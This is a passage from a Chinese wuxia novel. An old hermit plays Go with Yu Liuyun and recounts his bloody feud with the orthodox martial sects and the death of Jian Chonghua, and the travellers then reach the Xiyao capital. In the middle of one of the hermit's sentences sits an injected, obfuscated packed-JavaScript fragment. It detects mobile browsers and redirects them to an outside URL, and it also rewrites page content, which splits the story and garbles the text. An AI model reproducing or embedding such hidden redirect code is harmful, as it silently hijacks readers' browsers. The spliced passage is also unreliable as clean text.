“不。”老人摇摇头,“邪道人士本来夸下海口,以为只要不是闺房女工,没难得倒自己的,却没想到姑娘说要下棋——邪道人士根本就不会下棋。” 石梦泉惊道:“那这要如何是好?得另选其他比试方法了?” “怎么可以?”老人道,“大家有言在先,那就必须得遵行。要是诸多借口,非拣着自己必胜的法子去比赛,那岂不是和武林正道的伪君子一般了么?” “那就果真比了下围棋?”玉旒云向中腹黑子发起了攻击。 “下了,而且这邪道人士输了。”老人说。 “那么,他就跟着这姑娘去救她的父亲了?”玉旒云问。 “哈哈!”老人笑了起来,“真正的君子讲究‘言出必行’,答应了别人,就算是赔上自己的性命也一定要要去做。伪君子一言既出,行与不行要看对自己有没有好处,但是他们又不肯公然反悔,所以要找出种种好听的理由来。至于真小人,那就又是另一种状况。履不履行诺言,要看心情如何。就算不履行,他们也会直说,不拐弯抹角。这邪道人士觉得自己输给一个姑娘,是奇耻大辱,当场反悔,抛下姑娘不顾,扬长而去。” 玉旒云撇了撇嘴,但并未做评价。 石梦泉问道:“那后来呢?” 老人道:“邪道人士因为不服输,就跑去了一间私塾之中,逼那先生教自己下围棋。入门之后又跑去一间棋社,逼里面的棋友们陪自己下棋。这样过了一个多月,终于是把围棋悟出点门道来了。他便回去要找姑娘重比一场。” “过了这么久姑娘怎么可能还在呢?”玉旒云道,“这岂不是和刻舟求剑一般?” 老人道:“哈哈,痴迷起来怎么会注意到常理?邪道人士可没想到这一点。回到家中,扑了个空,这才醒悟过来。” 石梦泉道:“这个姑娘的父亲就要问斩了,她白白耽误了这么多时间,后来不知如何?” “后来……”老人道,“所谓各人有各人的缘分,这话一点儿也不假。邪道人士想起姑娘找不着帮手,必然会去刑场给父亲送行。他若及时赶去,将那大官救下来,再找姑娘拼棋,姑娘定然答应。他便可以一雪前耻。于是他就前往凉城。”口中虽说着故事,但手里棋子也不忘落下。 “到了凉城的时候,日子刚刚好。行刑的地方挤了不少围观的人。这邪道人士方要跃进圈去,却忽然看到另外一个人从天而降,还一手拎了一个当官的。” “咦?这倒奇怪!”玉旒云应了一子。中腹之战难解难分,不过她几步棋都太局促了,难有好的后续。老人大有扭转开场不利之势。她现在须得加倍小心。 “这人到了跟前,”老人道,“将两个当官的朝监斩面前一丢,道:‘还不从实招来?’那两人就抖抖缩缩把如何进谗言陷害这大官的事招了。旁边百姓本来就爱戴这大官,都是来给他送行,这时听人确认了他的冤情,哪里肯袖手旁观?一拥而上将官兵围住。来人就将大官救走了。” “来的人是谁?”石梦泉问。 “邪道人士当然也好奇,”老人道,“就跟了上去。不料,被这人发觉了,大骂他是不分正邪助纣为虐的鹰犬,并且交起手来。要说这人的功夫嘛——嘿嘿,也不赖。比你们两个小娃娃来可好了千百倍,比起你这死丫头的棋技来,也要好上许多哩。”说着,在“去九六”落下一子。 玉旒云本来一直担心他走“平六六”,不意竟有如此失误,大喜,一边落子一边反唇相讥道:“嘿嘿,比起我的棋技好上许多,那比起你的也好多了。” 老人才也发现自己走错棋,急忙补救,却又有些过分了,气得直吸气。 玉旒云道:“还没说那两人交手的结果呢?是不是打了三百回合?” 老人见她“小人得志”,处处揪着“三百回合”不放,冷笑道:“高手过招,你道是流氓斗殴么?根本不需要三百回合。三个回合就知道能不能取胜了。那打到三百回合的,即使胜个一招半式也是凑巧,不是本事。” 玉旒云咬了咬嘴唇,专心下棋。 老人道:“这两人交了手,知道都不可能胜过对方,正僵持时,姑娘出现了,这才住手。解释了方知,这劫法场的人是姑娘萍水相逢的一位侠客,最看不惯为了争权夺利而颠倒黑白,于是仗义相助……至于以后嘛……” “邪道人士终于找着姑娘下棋了?”玉旒云问。 “呔!”老人作势要拿棋去丢玉旒云,“你这死丫头脑袋都不知道装的是什么——后来,当然是跟所有戏里唱的一样,这姑娘感激侠客的恩情,就以身相许,做了人家的老婆。邪道人士虽然行事古怪,但也还没到不识趣的地步,当然是不去打搅他们啦!” 中腹的战斗已经白热化,玉旒云凭借老人那一着的失误频频进攻,吃住了老人三子“棋筋”,后面一边落子加强自己的实力,一边给对手制造麻烦。在这样的形势下,老人住口不再讲故事,凝神应付。过一百手后,上、入二隅已经基本被填满,平位也有零散的战斗,只剩去位棋子不多。老人见中腹黑棋被断,就转战去位,以求挽回。 但玉旒云深深吸取了前些盘的教训,再也不让老人左右自己,凭借棋面上的优势,专拣黑子薄弱处发动进攻。有时自己的一两个子被老人吃掉,她也阵脚不乱,坚持自己的战术。石梦泉看着棋盘渐渐就要被填满了,开始默默计算双方的目数,还未算清呢,只听老人一声长叹:“唉,我输了。” “哎?”玉旒云是打算斗到最后的,惊道,“你输了?”便也要数子。 老人道:“不必了。一百二十二手就是我的败手。”他指了指“去二六”的黑子:“要是落在‘入二九’恐怕还有希望。唉,……” 玉旒云从下午奋战到如今就是为了这一次胜利,不过,到手之后,竟开心不起来:两人终局共是二百六十五手,老人把这许多的局势变化都记得如此清楚,他的棋力和自己简直是一个天上一个地下——他是输在失误!就像方才说的,交手的招数多了,纵有微弱的胜负也都是凑巧。 “你是因为讲故事分神。”玉旒云道,“这盘不算,我们重新来过。”说时,自己动手收棋子。 “不用了。”老人袖子轻轻一挥,好像一只无形的手将玉旒云阻挡,“故事是我想讲的,又不是你引我讲故意要我分神,赢就赢,输就输,诸多借口有什么用?还是教训有用。教训……人要懂得吸取教训啊!嘿嘿,你这死丫头,倒是学得快,下手也够狠的。” 这话连骂带夸,但底下的意思都是称赞。玉旒云才终于笑了笑。 但老人又接着道:“话说回来,你小小年纪的一个姑娘,怎么一身的杀气?这样争强好胜咄咄逼人,对下棋没有好处,对其他事也没有益处。” 玉旒云听他又教训自己,打断道:“怎么没有好处呢?你不是说只要三百盘中我赢一盘,你就要替我做一件事吗?难道你想像你故事里的那个邪道中人一般,反口食言不成?” “去!”老人斥道,“死丫头,不仅心狠,还小鸡肚肠。我一把年纪,还能欺负你个小孩子不成?你要老头子我做什么?快说!” 玉旒云想让这老人做的事何止一件呢?想要他将自己和石梦泉安全送到西瑶,想要他帮忙把楚国武林搅个不得安宁,想要他到樾国帮着对付赵王父子……只是,她揣摩老人的脾气,现在提出这些中的任何一样,都是肯定没门儿的——至少,也会使大家的交情从此断绝,再不能提出新的要求。 需要放长线,钓大鱼,她想。 老人讲的这个故事一定和他的身世经历有莫大的关联。既然愿意说个开头,应该也就想要人知道结尾——他隐居在此多年,也许正想找人谈谈心吧?何不从此入手?当下道:“一时也想不出有什么非得请你做的。刚才那故事没讲完呢,我们都不知道江湖旧事,不如给我们讲讲吧?” 老人愣了愣,这个要求出乎他的意料。 玉旒云就笑道:“怎么?讲故事不算是要求么?难道非得抢劫金库,刺杀皇帝才算是要求?” 老人哈哈大笑:“你这丫头——你这丫头——”片刻,突然又转为了冷笑:“江湖,旧事和新事差不了多少。今人无非是不断重复古人做过的事罢了。你们听我罗嗦,不嫌烦么?” 玉旒云道:“下棋费了那么多脑筋,听故事不需要动脑子,听来休息休息也好啊。” “休息?”老人摇摇头,“人常说,要从自己的过错中学习,其实我看从别人的过错中学习更合算一些。只是,少有人这么做罢了。” 玉旒云道:“前辈你刚才已经把我教训了个狗血淋头,也不差再多教训几句。你就说吧!” “死丫头!”老人又一枚棋子丢了过去。这次玉旒云可有准备了,伸手接住,恭恭敬敬地放回瓷钵中:“前辈请讲。晚辈们洗耳恭听。” 老人听她的语气就猜出她的表情,觉得这孩子真是既讨喜又可恶,拈了拈胡须,终于说道:“你们看到外面的墓碑了么?” “看到。”玉旒云道。 “知道是谁么?”老人问。 “刻的是华重翦,”玉旒云道,“莫非是翦重华?” 老人不可捉摸地一笑:“哦?江湖上果然还有人知道翦重华的!看来那场风波没这么容易被人忘记啊。” 风波?玉、石二人俱想:就是北义师姓岳那个说的变乱么? 老人道:“不瞒你们。老头子我就是那个邪道中人,翦重华就是那个劫法场的侠客。那一年我俩都只有二十岁。本来大家不打不成交,相谈甚欢,谁知他和那个官家小姐闻莺约定了终身,就去同他师父翠湖神剑会合,之后要去参加选举盟主的武林大会。我看他竟然和那些正道的伪君子没什么区别,就十分鄙夷。按照我的原计划,我也到了武林大会的现场来搅局。” “我到了武林大会上,怎样把那些没用的家伙打个七零八落满地找牙就不说了。只是我那时年纪轻,不知道天外有天,人上有人,武林正道虽然草包多,但高手其实也不少。遇到些着实厉害的家伙,我自然就败下阵来。有些正大门派的老家伙素恨我师父,就想将我杀了,斩草除根,以免后患。”老人说着,起身离开棋桌,走出屋檐外,山里的星星特别亮,清辉遍地。玉旒云和石梦泉也就跟了出来。老人只挥挥手:“渴死了!丫头,倒点水来喝。” 这次玉旒云没有抱怨,立刻就办到。老人喝了水,接着道:“当然我是没死,要不然也就不会在这儿跟你们说话了。悄悄把我放走的人是闻莺和翦重华。我谢了他们,决定闭关修练,过十年再来一决高下。而翦重华这家伙,好像自己什么都懂似的,竟然教训我,要我不要再管上一辈的恩怨,也不要争无谓的名头,好好重新做人。” “哦——”玉旒云插嘴,“原来你也是要争第一去的,还取笑人家正道人士。难道第一就许你们邪道人士争,正道人士就不行么?” 老人道:“小丫头懂得什么?这桩恩怨结下的时候,连你爷爷都没出世呢!那些狗屁不通的所谓正道,假装和我们神鹫门交好,说什么从此武林正邪不再争斗,化干戈为玉帛,云云,结果调过头来就将我们杀了个干净。全门上下一百多人,就只有我师父逃出升天,如此血海深仇,岂能不报?” “原来是这样!”玉旒云道,“那正该杀尽这些伪君子了。”她边说,心里边想:还有这恩怨,将来正好利用这一点,让他助我剪除这伙武林匹夫。 石梦泉道:“那前辈当真回去闭关十年么?” 老人点了点头:“十年里我潜心修炼,武功大有长进。算算又该是武林大会的会期了,我便下山去找他们的晦气。没想到十年的时间,什么事情也能发生——这时,翦重华这家伙已经当上武林盟主了。” “三十岁的年纪当上武林盟主,也真是厉害。”玉旒云想起神农山庄里那一群,多是半截入土的老家伙。 “我和翦重华打了一场。”老人道,“嘿嘿,十年来我进步,他也进步,居然还是平手而已。不过,既然能和武林盟主打平手,那其他人我就根本不用放在眼里了。我就按着师父生前所交代的,一个门派一个门派去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728623|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们算帐。八大门派的掌门就被我杀了六个,哈哈!” 果然是一场腥风血雨!石梦泉虽然在战场上见多了血流成河,但是听到这里还是不由暗暗心惊。只是,这场风波分明是这神鹫门的老人造成的,怎么会怪到翦重华的头上? 老人接着说下去:“我在武林中简直就是所向披靡,只要再杀两大掌门,加上丐帮和漕帮的帮主,此外还有些不入流的人物,不用我去杀,早下破了胆——只要到那时,我神鹫门的大仇就报了。偏偏……” “偏偏翦重华来阻止你了,是不是?”玉旒云插话。 “死丫头!”老人斥道,“有那么点儿小聪明,是你说还是我说?” 玉旒道:“这也算小聪明?翦重华是正道武林的盟主,你连杀了六大门派的掌门,就算他不想管,人家也会找他的吧?还说不跟小孩子计较呢,人家不过插一次嘴,你就发火了。” “我又不是你家讲故事的奶娘!”老人“哼”了一句,“算了,谁叫我输棋给你,我接着说——翦重华在琅山脚下拦住了我,要跟我一决胜负。不过我们连打了好几场,都没有结果。反而两人都真力消耗过度,无法再战。这时,闻莺来了,说道,不如由她来替她丈夫一决高下。我哈哈大笑,道:‘又是要和我比下棋么?正好,我十年来除了练武,就是自己和自己下棋解闷,你道我还是当初的水平么?’闻莺道:‘我不知道你进益了,那可喜可贺。只是我除了下棋之外,没有别的所长,只好跟你比下棋了。’我道:‘好,要是我赢了,当如何?’闻莺道:‘随你如何,但是如果你输了,就不可再向武林正道寻仇。’我道:‘好,若我输了,我三十年不再踏足江湖。’闻莺摆下棋盘和棋子,又道:‘你说话可要算话,不能再像以前一样随便反悔。’真没想到,过了十年,她竟还记得当初之事啊。” “然后你又输了?”玉旒云还是忍不住插话。 “是。”老人道,“虽然只输三目而已,但还是输了。本来赢面很大,不知怎么到最后就输了。我惊得几乎说不出话来。闻莺只是淡淡地说了一句:‘你的棋杀气太重,难赢,赢了也伤自己。’”话至此,老人沉默了。 杀气。玉旒云想,这不就是他方才对自己的评价么?难道当真是拐弯抹角来教训自己?笑话,只要赢了,哪怕自己受点小伤也值得。只输了、死了的人,才永远没有机会。 “前辈,”石梦泉道,“您只答应三十年不踏足江湖,但是您早先说已经在此隐居了六十年,这是怎么一回事?” 老人笑了笑,含着一种难以言喻的沧桑:“是。我答应三十年不涉足江湖,若有违背,这个年数就要翻倍。就在我刚刚开始回到神鹫门隐居的时候,中原地方遭到了栗佤族人的袭击。这些人渡天江而来,凶残狠毒,最喜欢使用蛇虫鼠蚁,搅得南民苦不堪言。朝廷派兵前去,但一深入瘴毒之地,就全部病倒,交战之下,自然一败涂地。” 栗佤族,玉旒云在关于西瑶的书里读过,这是一支野蛮无比的民族,抓了俘虏就要挖眼剥皮。后来终于被莽族所征服。而莽族人也正是因为替楚人解决了这个大麻烦而获得了皇帝的承认,得以建立西瑶政权。 “武林正道的那些人最喜欢搞些‘天下兴亡,匹夫有责’的道道儿。”老人道,“大半时间是沽名钓誉而已,但有时也是真的。这次是翦重华登高一呼,号召大家抵抗栗佤族的侵略。具体发生了什么事,我就不太清楚,不过后来传出了翦重华在两军阵前救下栗佤族大王的消息。说两人把酒言欢,称兄道弟,栗佤族大王许诺翦重华当他的大祭司。翦重华则下令武林义师不得再杀栗佤族人。” “这么说双方是议和了?”玉旒云问。 “谁知道?”老人轻嗤了一声,“很多事情还不是随便人说的?义师的说法是,栗佤族人一壁议和,一壁就使阴毒手段暗杀武林人士。有不少人都惨遭毒手。大家和翦重华说,栗佤族大王不能轻信。但栗佤族大王发誓这事决不是他做的。又经过了一番曲折,义师决定退回中原,翦重华自然也和他们一道。未想,到了天江边时,栗佤族大王竟然率兵追来,要求义师中杀死他爱子之人出来抵命。” “他儿子被人杀了?”石梦泉惊讶。 “杀他儿子的就是铁剑门的人吧。”老人道,“后来为了这事,铁剑门十分自豪,还想当下一任武林盟主呢。不过,自翦重华之后,中原武林就不再只选一位盟主了。” 这就是所谓的避免一人独大?翦重华到底给大家带来了什么灾难,可看不出来呀?玉、石二人都好生不解。 老人道:“在天江边,武林义师和栗佤族人终于交战起来。栗佤族人虽然武功低微,但是擅使毒药,义师颇有损伤——尤其,八大门派有六个没有掌门,徒子徒孙呜呼哀哉。这笔帐,大家如何不算到翦重华的身上?” “算到他身上?”玉旒云道,“六大掌门可都是死在你手里呀!” “不错。”老人道,“按常理,的确应该是恨栗佤族大王、恨我,但是那些匹夫们别的本事没有,窝里反的本领比谁都强。翦重华当时愿意自废武功自残肢体来向双方谢罪,终于逼栗佤族大王许下诺言,在他有生之年不再渡过天江来,这才使得武林义师大部可以全身返回中原。可是,才回中原没多久,大家就齐齐指责他轻信栗佤族大王,害死诸多同道。后来又有人指责他纵容邪魔外道——也就是我——残害各大掌门。最后,竟变成了说他贪图一人之富贵,勾结栗佤族大王,出卖国家。他成了武林的千夫所指。” “哪能他们说什么就是什么的?”玉旒云不平道,“这分明是冤枉人!他们大概就是想把翦重华轰下台了,自己好当盟主吧?” 老人道:“这还用说么?我虽然在山中,但也听说了消息,知道这群人都是卑鄙小人。翦重华已经自废了武功,又辞去了盟主之职,可是那些人还是不肯轻易饶过他,众口铄金,积毁销骨,他们就是想把他逼死。” 这未免也太过分了!石梦泉虽已见识了楚国所谓武林正道的卑鄙,但没想到竟无耻到这种地步。“既然已经连盟主的位子都让出来了,为什么要逼死他?” “他能当上武林盟主,除了武功高强之外,想必也颇有人拥护吧?”玉旒云突然变得冷冷的,“盟主本来就是以德服人,即使失去了武功,若还有人拥护,就是对新盟主的威胁。而且,反对新盟主的人一定会找出翦重华被冤枉的事实,到时候,翦重华只要还活着,就有人可以打着他的旗号来反对新盟主。所以,他一定要死。” 老人无光的眼睛转了过来,似乎要盯着玉旒云,看看这个年纪轻轻的女子为什么把这丑陋的一切都看得如此透彻。 玉旒云只是恶毒地一笑:“怎么?楚国人向来就是如此,我说错了吗?” 老人道:“你没有说错。我也是看透了他们,所以就不顾那‘三十年不踏足江湖’的约定,赶去翠湖神剑山庄要助他一臂之力。”他顿了一顿,神情显得无限哀伤:“我到了那里见到八大门派、丐帮、漕帮的人都到齐了,正假惺惺要翦重华提名下一任武林盟主的人选,大家相互攻击,屋子里比有五百个泼妇还吵闹。后来就有人说,这次大家损伤惨重的根本是因为六大掌门惨死,所以罪魁祸首就是我,如果谁能取了我的性命,谁就可以做下一任的武林盟主。” “我听了这话,就大吼一声:‘老子在此,有种就来杀我!’那些人都没有料到我会出现,愣了一会儿,才有人扑了上来。这种小角色,我如何放在眼中?一掌一个就解决了。”老人两手背在身手,相互轻轻地搓着,不知是不是想起自己当然手染鲜血的模样。“我就这样杀了一阵,冲到了翦重华的跟前,拉了他道:‘走,不和这些混帐呆在一处。’他开始不肯,我就发怒道:‘你怎么这样婆妈?不为你自己想,也为你老婆孩子想想?’不容他反对,我杀开一条血路,带着他、闻莺,还有他们九岁大的女儿一起逃出了翠湖。” “你杀了各门派那么多人,他们一定不会轻易放过吧?”石梦泉道,“你们能逃到哪里去呢?” “我当然是先带他们回神鹫山了。”老人道,“不过,那些丧心病狂的匹夫们不死心,三天两头就来捣乱。虽然杀他们易如反掌,但是他们人多,可谓前仆后继,我既要对付他们又要保护翦重华一家,实在是不胜其烦。后来我想到,既然栗佤族大王和翦重华颇有交情,干脆叫他发兵过来把这些匹夫杀个干净,事情就可彻底解决。于是,当我得知栗佤族人就驻扎在天江南岸时,我就过江去找他们大王。大王果然答应了,立刻带兵过江来。正遇上那群匹夫纠集了一队人马要上神鹫山讨伐我呢。” 这可就是大错了,石梦泉想,为了个人的恩怨竟把敌人引进自己家里,岂不祸国殃民?但心中突然又仿佛被捶了一拳:在芙蓉庙时,玉旒云说过那于家庄就是她的家,那么玉旒云就是楚人,她这样要毁灭楚国,岂不是……她怎么会是楚人呢? 老人接着说道:“两边在神鹫山下遭遇了,匹夫们如何是我们的敌手?就在栗佤族大王下令要将他们全数剿灭时,翦重华也出现了。他责怪大王违背誓言又过天江来,又杀戮中原武林同道。大王自然说,自己是为了替他出气而来,仍旧盛邀他去做大祭司。但是翦重华说:‘南国的确是个风景如画的好地方,也许拙荆和小女会喜欢,却不适合翦某。’大家都觉得他这话很是奇怪,却哪里知道已经含了托孤之意?他指着我对那些正道人士道:‘怨怨相报何时了?他的本事你们也看到,非要找他寻仇,只就送死的份儿。我劝你们还是不要再和他为敌了吧。’众人道:‘我们不杀他,他要来杀我们呢?’翦重华道:‘他违背了当初的誓言,所以现在必须有六十年不踏足江湖。只要你们不去找他,他怎么能杀得了你们?’众人道:‘你也会说他违背了诺言呢!’我听了这话,怒道:‘若不是你们卑鄙,逼得翦家人无路可走,我会下山来么?’翦重华止住了我们双方的争吵,道:‘总之,你们答应我不去找他,我也让他答应我,不违背誓言,如何?’说着,就来看了看我。我道:‘你的面子我一定要给。我才懒得和这些人一般见识。’其实该杀的也杀得差不多了。翦重华道:‘那好。过往的恩怨就此一笔勾销。今日的誓言,希望每一个人都记得。’我听到有人小声咕哝:‘你说得倒轻巧,多少条人命,就勾销了?’翦重华当然也听到了,一笑,道:‘若非要流血死人才能化解恩怨,就用翦某的血吧。’我一听,知道他是要自尽,立刻扑上去阻止,但已经来不及了,他用一支栗佤族的毒箭刺穿了自己的胸膛。” “啊——”石梦泉不禁惊呼出声。旁边玉旒云却好像神游在外,不知想些什么。 “那他的妻女呢?”石梦泉问,“果然是跟着栗佤族大王过天江去了么?” “女儿是去了。”老人道,“不过闻莺她……自刎殉夫了。”这一句,说得极为沉痛。 大家都有片刻没说话。过了一会儿,老人才又说道:“我这六十年严守诺言,不曾踏足江湖半步。今天正是六十年期满之日,不想就遇到你们两个被漕帮的人追杀。哼,过了这么多年,他们还是死性不改。” 漕帮的人追杀他们倒和争夺武林盟主没有关系啊,石梦泉想,看来这老人虽然隐居多年,但对于楚国武林正道还有不少偏见——当然,他的偏见也不是全无道理。恰恰是大部分都符合道理。 “六十年期满,前辈有什么打算呢?”石梦泉问。 “打算?”老人凄然一笑,“我已经是九十岁的人。你以为我想再去寻仇么?六十年来,我时常想起翦重华最后的话,又想起闻莺评价我的棋:杀气太重。开始总也想不通,到了我眼睛瞎了之后,世界的纷扰再也看不见,突然就明白了过来——杀来杀去对谁也没有好处啊。” 果然如此,石梦泉想,那么行军打仗又是为了什么呢?看到战友死去,看到敌人死去……他竟迷茫了起来:此行的目的,不就是联合西瑶一起攻打楚国么? “既然翦重华是你是朋友,”玉旒云突然道,“你为什么给他立个墓碑却把名字倒过来写?” “那个……”老人呵呵笑了起来,“因为他当初答应过我,一定要好好照顾闻莺。我跟他说过,假如他说的话做不到,他从此就不叫翦重华,而要叫华重翦。他累得闻莺陪他一起死。所以墓碑上当然就是华重翦了。” 原来是这样!玉、石二人恍然大悟。 老人道:“夜太深啦,去休息吧。你们不是要去西瑶么?明天我送你们过江去。” “果真?”玉旒云欣喜:一番功夫总算没有白费,和老人的交情这算是建立起来了吧? “死丫头!”老人又叱,“我不知道你们去西瑶是要干什么,也不知道你们跟漕帮的人究竟结了什么怨,你刚才不也说了要听我教训吗?记住,从别人的过错中学习,可比从自己的过错中学习要合算多了!” 玉旒云不响。 老人又加上一句:“你要是继续下棋杀气这么重,不管你技术怎么进步,遇到了高手还是会一败涂地的!” 43. 第 43 章 虽然疲倦,但是玉、石二人都睡不沉。天亮之后,大家草草吃了些东西就同老人一道来到了白虹峡的飞索处。两人正想,不知老人要用什么法子“送”他们过去,却听老人一声长啸,双臂微震,他们还未反应过来是什么事呢,只觉有一股温和的劲力推着自己,腾云驾雾般飞了起来。玉旒云心里还是一骇:糟了,他这不是把我们丢下去了么?可心念方动,脚下已踩着了实地,竟然到了对岸了! 老人笑声哈哈传来:“走吧,走吧,省得一会漕帮人来了又麻烦!” 石梦泉赶忙抱拳向老人致谢。玉旒云则道:“前辈,等我从西瑶回来,还找你下棋。” “下棋?”老人笑道,“算了吧,你不改掉那杀心太重毛病,我才不跟你下呢。话说回来,我看你还是学煮饭比较好,能修身养性,哈哈!” 玉旒云不以为意:下不下棋她才不在乎,关键是要再见到老人,才好进一步求他做事。因问:“还不知道你高姓大名呢?” 老人道:“我的名字有什么用?世上已不会有人记得,也不必再有人知道——你们快走吧。老头子我被你们折腾了一宿,现在要回去睡个回笼觉啦!”说时,再不搭理两人,径自往来路而去,眨眼的功夫就踪影全无。 玉、石二人愣愣地看着他消失的方向:这一天的经历可不就像做梦一般?尤其他们就这样“飞”到了西瑶境内。 “大人,”石梦泉唤了一声,“现在……” 玉旒云没有立刻回答,看到脚边有块小石头,就“噗”地将它踢下了深谷,那个小黑点卷入白浪,无影无踪。她又转过身去,看到山林——江峡之中天气甚凉,前夜已下了霜,山上红叶胜过野火,美不可言。而林中恰传来一阵银铃之声,不久,就看到带着货品的西瑶小贩嘻嘻哈哈地钻了出来。 “我们真是到了西瑶了!”她这才兴奋地喃喃了一句,跟着,又满是肯定满是得意地重复道:“梦泉,我们果真是到了西瑶了!” “是的,大人。”石梦泉道,“这位老前辈的武功真是出神入化。” “可不是?”玉旒云道,“估计当年的翦重华也是如此。这样的人才生在楚国成日被人猜疑妒忌,最后都浪费了,只有为我所用,才得大放光彩。” “大人打算回来寻访这位前辈么?”石梦泉问,“什么时候?” 玉旒云皱着眉头想想:“不知道。先把西瑶的事解决了。我们两国联手攻打楚国,只是对付他们的军队,根本用不着烦心武林的那匹乌合之众。倒是等我拿下楚国来,或许就需要他了……到时候再说。咱们走!”说着,已朝那林间小路上去。 两人一前一后紧紧相随。由于道路狭窄,树木茂密,常常被树枝挂住衣服。又听得玉旒云“哎呀”一叫,原来是被被勾住了头发。 “别动!”石梦泉赶紧上去帮忙,但树枝多叉,一时间哪里就解得开。 玉旒云恼火地抱怨:“都是因为梳这种牢什子的发髻。等见到了市集,一定要换回惯常的装束去,再也不作这种打扮。” 石梦泉惟恐弄疼了她,只有小心翼翼。最后还是不得已,干脆把主枝折断了,再慢慢处理细枝。只是他肩上有伤,动作之下,不免牵动伤口,疼得打了个哆嗦。玉旒云仰起脸来:“怎么?那个金创药管用么?” 石梦泉一愣——不知不觉,竟把她圈在自己的臂弯里,看着如此充满关切,明丽又有些无依的脸庞,他有一种想要吻下去的冲动——不管她过往有什么痛苦,被什么人背叛,想要紧紧地抱住她,保护她,让她永远也不再烦恼…… “喂!你傻了?”玉旒云一手在他眼前晃了晃,另一手摸摸头上才解了一半的树枝,还有好几片枫叶花一般地簪在那里,抽了两下,竟然纹丝不动。“真可恶!”她嘟囔。 石梦泉笑了笑——何必要要求更多?难道此时此刻不是他生命中最甜蜜的一瞬?轻轻压着玉旒云叫她低下头来:“都说还没解好呢!不要乱动!” “算了算了!”玉旒云道,“这还不知道要解到哪一年呢!一回你伤口裂开可就麻烦了。” “这倒也是!”石梦泉松开了她,“反正这样也挺好看。” “好看顶个鬼用!”玉旒云瞪他一眼,“这种胡话你留着将来去哄你的‘小愉’吧——咱们回去得越晚,局势就越难预料,万一被发觉了……哼,我看咱们还得仰仗‘小愉’给咱们保命呢!” 石梦泉感觉她这次提愉郡主时语气和以往有些不同。但究竟是什么差别,也说不出来。只有笑着点了点头,两人复又朝前走,但是许久也没有说话,只是微微笑着,就像早晨山林里温和的秋阳一般。 他们再没有遇到什么阻滞,这天黄昏时已出了郢山,在一个叫“碧蟾沟”的小地方歇脚,次日,精神大好,跟边民买了两匹好马继续前进——西瑶的马和樾国的完全不同,樾国多平原,马匹高大剽悍,西瑶则多山地,马匹矮小却灵活。两人乘上了,上山下山竟浑然不觉,从江边山地火红的枫树,到“碧蟾沟”中金黄的梧桐林,再走一程,翻过一座山去,只见树木郁郁葱葱,竟全无秋天之景,而原野上更是盛开着紫色的野葛花,看起来如同仙境一般。二人只觉心旷神怡。马匹也都雀跃欢腾,跑得格外轻快。过了一日,走到了大路——这条路北过天江就连接上楚国的通天道,西瑶境内的部分是当年他们成为楚国属国时,楚人出资出工修建的。西瑶人因为擅做生意,知道水陆交通的重要性,所以将这条路维护得非常好。玉、石二人一径向南,不两日,来到了首府临渊城下。这座全然由青砖建成的城池,虽然规模远比不上楚国凉城,但巍峨之势有过之而无不及。在莽莽苍山背景的映衬之下,更显出一种活泼的生气来。 两人进了临渊城,也不急着去觐见武德帝,先打听了最好的裁缝住在何处,吩咐他和徒弟连夜赶做两套衫袍,然后找了间舒适的客栈投宿休息,到次日,取了新衣服来,梳洗更换,两人都恢复在西京时便装权贵的模样,这才去做正事。 他们先找到了西瑶专门接待各国使节的“五洲馆”。别看西瑶国家小,但是因为商业发达,尤其海上贸易繁荣,和蓬莱国,婆罗门国,以及一些中原人氏听也没听说过的国家都有来往,所以这座五洲馆的规模一点儿也不比樾国的四海阁差,而且门前车水马龙人来人往,更比樾、楚两国都热闹。石梦泉看周遭百姓的脸上都带着笑容,暗想:诺大的天下,似乎只有他们还没有卷入战争啊! 玉、石二人到了门前,大大方方递上庆澜帝的国书信物,又出示了两人各自的令牌玺印,卫兵何敢怠慢,立刻进去通报。一时就有官员迎了出来。二人一看,正是那个蓝沧。 “玉大人,石将军,”蓝沧道,“恭候多时了。” 玉、石二人都拱拱手,算是回礼。 蓝沧道:“本来应该立刻请二位去见皇上,不过,敝国上下都笃信佛理,每年这时候皇上他老人家都在枯云寺礼佛,现在朝中是太子理政。我可以带二位去太子府——还是二位风尘仆仆,需要先休息休息?” “去太子府吧。”玉旒云道,“有劳蓝大人。” 蓝沧笑笑:“哪里,二位都是贵客啊。”当下吩咐人备了马车,上太子府。 西瑶国家小,京城自然也不大,不多时就到了。玉、石二人看这府邸,和樾国西京的赵王府规模差不多,而且稍陈旧,不过气派却是非凡,古朴的装饰中处处透着帝王之气。蓝沧就解释道:“这里原先是西瑶王府,后来重新营建了皇宫,此处就改为太子的府邸了。” 哦,那么难怪了,石梦泉想,西瑶营建皇宫应该是在宣布脱离楚国独立之后,那也没有多少年吧?似乎皇帝走了,王气还在这里啊! 门前的士兵已经迎了上来,蓝沧和他低低说了几句,那士兵就露出了恭顺的神态,飞跑进去通传。未己,便领了个太监匆匆而来,道:“贵客来了,奴才有失远迎。不过太子方才出门办事去了,一会儿才能回来。奴才做个主,请玉大人和石将军稍待片刻,如何?” 偏偏太子段青锋也不在?玉旒云不知是真是假,不过早也料到西瑶人要玩些玄虚,暗想:我就陪你们玩,谅你们也不能把我如何!当下笑道:“我们等着殿下。”便和太监一起走进了府去。而蓝沧就说自己还要回五洲馆办事,不得不失陪。“无妨,无妨!”玉旒云笑道:看来果然是有些花样了! 太监把玉、石二人带到引玉斋奉茶。那里似乎是皇家画室,里面都是些历代西瑶王的墨宝,连这个书斋的名字也取了“抛砖引玉”的意思,以示自谦。但玉旒云却悄悄对石梦泉笑道:“这名字取得好,是专程要引我来呢!” 自有宫女太监摆上茶果点心,样样与中原不同,十分有趣。玉、石二人十分谨慎,不敢随意吃喝,只打量着四周。人说临渊城四季如春,四季有花,这时窗外的花园里正盛开着一种奇特的花朵,挺直的一根茎上挑着一朵硕大而鲜红的花,像是菊花,但是更加鲜艳,形态也更张狂,然而不见叶,放眼望去,只有红红的一片。 